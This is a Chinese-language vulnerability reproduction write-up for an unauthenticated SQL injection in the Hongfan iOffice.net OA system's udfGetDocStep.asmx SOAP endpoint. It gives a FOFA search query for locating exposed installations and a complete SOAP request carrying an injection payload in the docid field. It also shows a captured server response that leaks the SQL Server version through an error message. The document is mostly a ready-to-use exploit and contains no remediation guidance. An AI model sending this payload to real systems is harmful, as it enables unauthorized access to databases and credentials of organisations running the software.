H3-4红帆-OA-SQL

漏洞描述：

红帆iOffice.net udfGetDocStep.asmx等接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。

网站图片：

网络测绘：

fofa语法：

FOFA：app="红帆-ioffice"

漏洞复现：

payload：

```
POST /ioffice/prg/interface/udfGetDocStep.asmx HTTP/1.1
Host: your-ip
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetDocStep"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <GetDocStep xmlns="http://tempuri.org/">
        <docid>1' and @@version>0;--</docid>
    </GetDocStep>
    </soap:Body>
</soap:Envelope>
```

效果图:
查询数据库版本

Request

数据包扫描 热加载 构造请求

```
POST /ioffice/prg/interface/udfGetDocStep.asmx HTTP/1.1
Host: [redacted]
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetDocStep"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <GetDocStep xmlns="http://tempuri.org/">
            <docid>1' and @@version>0;--</docid>
        </GetDocStep>
    </soap:Body>
</soap:Envelope>
```

Responses 2708bytes / 169ms

```
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Wed, 06 Mar 2024 08:56:34 GMT
Content-Length: 2708

<?xml version="1.0" encoding="utf-8"?><soa
org/soap/envelope/" xmlns:xsi="http://www.
xmlns:xsd="http://www.w3.org/2001/
XMLSchema"><soap:Body><soap:Fault><faultco
Web.Services.Protocols.SoapException: 服务
SqlClient.SqlException: 在将 nvarchar 值 '
1600.1 (X64)
    Apr  2 2010 15:48:46
    Copyright (c) Microsoft Corporation
    Enterprise Edition (64-bit) on Windows
    1) (Hypervisor)
' 转换成数据类型 int 时失败。
   在 System.Data.SqlClient.SqlConnection.
   breakConnection)
   在 System.Data.SqlClient.TdsParser.Thro
   stateObj)
```